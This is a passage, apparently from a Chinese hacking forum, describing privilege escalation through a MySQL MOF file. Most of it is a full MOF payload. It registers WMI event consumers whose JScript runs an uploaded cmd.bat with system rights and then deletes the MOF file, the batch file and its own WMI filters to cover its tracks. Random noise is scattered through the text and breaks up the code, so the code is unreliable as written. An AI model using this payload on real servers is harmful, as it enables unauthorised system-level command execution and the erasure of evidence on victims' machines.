这个sql提权MOF需要运行 system下的文件,不能定义路径。, c: @! h! v. ~
需要将要运行的命令写入到bat上传到system32目录,然后执行。
3 g( e$ A3 H% E; p$ N. D6 ~7 f% C: T
/ E: M, Z( h8 O6 m这个sql提权MOF需要运行 system下的文件,不能定义路径。8 W* w9 x( x* J% f" X1 m
需要将要运行的命令写入到bat上传到system32目录,然后执行。8 D% I/ W! L* W a
. D5 l- o' x: x. I#pragma
$ n ^. F) M. D0 d namespace("\\\\.\\root\\cimv2")& U: @" g) t: Y8 g
class N* C, P* L5 I& c
MyClass547
0 e0 B- S- [9 ]3 S4 e { [key]" c7 X2 Y- V3 L. Q0 ]2 M
string* D9 Y; Z. H: F5 e( Z7 T: |
Name;" X: u3 T' U3 {" G* c8 H
};
- Q/ C& _6 c& H class9 o. P5 E+ @: e
ActiveScriptEventConsumer6 X' d2 J6 X8 z
: __EventConsumer { [key]
( \4 U! L6 i' ?1 y; z string; k; U* L, R2 h% A0 G* D; T
Name; [not_null]
6 {- J) k+ z" `- x& r string
4 ]" x* J6 |% x" I3 Q ScriptingEngine; string) n, ?: o9 _2 y' T7 w; f. D
ScriptFileName; [template]
* G* | _' i' Z6 r7 j/ C$ V( D string! z1 D2 @, _+ w7 E6 z- s& e/ t5 C
ScriptText; uint32 KillTimeout;& t: f l. S0 a: c! t! x* V
}; instance of __Win32Provider as $P {& {: ]7 g' F, X7 v o( L3 m4 c
Name4 r1 O7 A2 P( n
=
5 p; v% i/ u7 f) G7 ~. N% d "ActiveScriptEventConsumer"; CLSID =. u. t. L' \1 ?2 l) A) I% K' V8 z
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
# `7 u( q- O) | PerUserInitialization2 p( \7 g& A/ f1 s; b3 Q) V9 f
= TRUE;( k2 X; }6 u# Q! A9 }
}; instance of __EventConsumerProviderRegistration { Provider d" w) t1 S- w8 G* m& j' B
= $P; ConsumerClassNames6 z! [0 D" }0 h/ C5 W) q3 h
=- B+ q0 n# X8 h) o: F B
{"ActiveScriptEventConsumer"};
1 f4 j, a1 V% u };
; R, X; v6 }1 N2 H Instance of ActiveScriptEventConsumer, J$ W/ j9 x& k3 w& N
as $cons { Name
% J8 w& r! _, [, _ =3 g4 E: ]: ^9 D2 _
"ASEC"; ScriptingEngine
6 f- J3 G' q9 ~2 W4 i: \9 V, [, s, p =. K1 x) T& m: J& Z. i
"JScript"; ScriptText/ v& w, s. n3 f. \; C
=. C' J+ {5 h* {, V" {- _( e) C
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
# c8 ^; L. W/ Q$ f9 t+ i Instance of ActiveScriptEventConsumer4 t$ v1 T0 R7 T; s" e
as $cons2 { Name
- \2 ?+ q& K, m =
, s6 x4 z! i( z, ~ "qndASEC"; ScriptingEngine: C+ |% v: O2 @/ _5 c% Y
=
- z1 q. M6 q h( W5 }4 e( X2 I) H "JScript"; ScriptText" \9 M& Q3 B( D4 \4 m/ [
=
5 q5 x' k- O! B. j3 |. X "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
; F/ W7 N. ^& |- p5 B- ]6 C0 o" i; w' h# C }; instance of __EventFilter as $Filt { Name7 f9 s8 }4 [1 \) Y; I6 D3 n$ R
=
1 q5 s( |& O% D" Y% P! m "instfilt"; Query2 J* r7 Y: ^( n
=
! F1 a- O5 ]' I% j "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage5 x) P3 g+ ~! [; `+ u# w8 `
=
. {" z, `% q2 D9 Y( l, z) N; P "WQL"; }; instance of __EventFilter as $Filt2 { Name; f# Z/ ~# R3 f }; h% T
=
. `. J( S# ^- s( I "qndfilt"; Query
; Y B. _2 o/ I7 J =) B9 R! i1 O* I
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage9 N1 x. e: \# [$ R) Z
=4 ~; w1 h& w% }, j Q5 W5 e6 b2 V7 B
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
* V* x' s7 p8 c = $cons; Filter; b E" s2 {; N- w% ]1 i0 H ?
= $Filt;9 P: ~1 i2 E M/ c+ U
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
( \" [/ ~$ `* [' {% z6 u K = $cons2; Filter! u- ], h3 f" G! A: D; }
= $Filt2;
0 Z/ g' B! c' O4 B3 F }; instance of MyClass547. ^2 h1 w! w7 K- b
as $MyClass { Name7 G- J1 L: l$ r
=2 |* h! m# M: z! K4 E2 X" C
"ClassConsumer";& @2 m" A" ?) v7 P: N, S i3 j/ k
}; |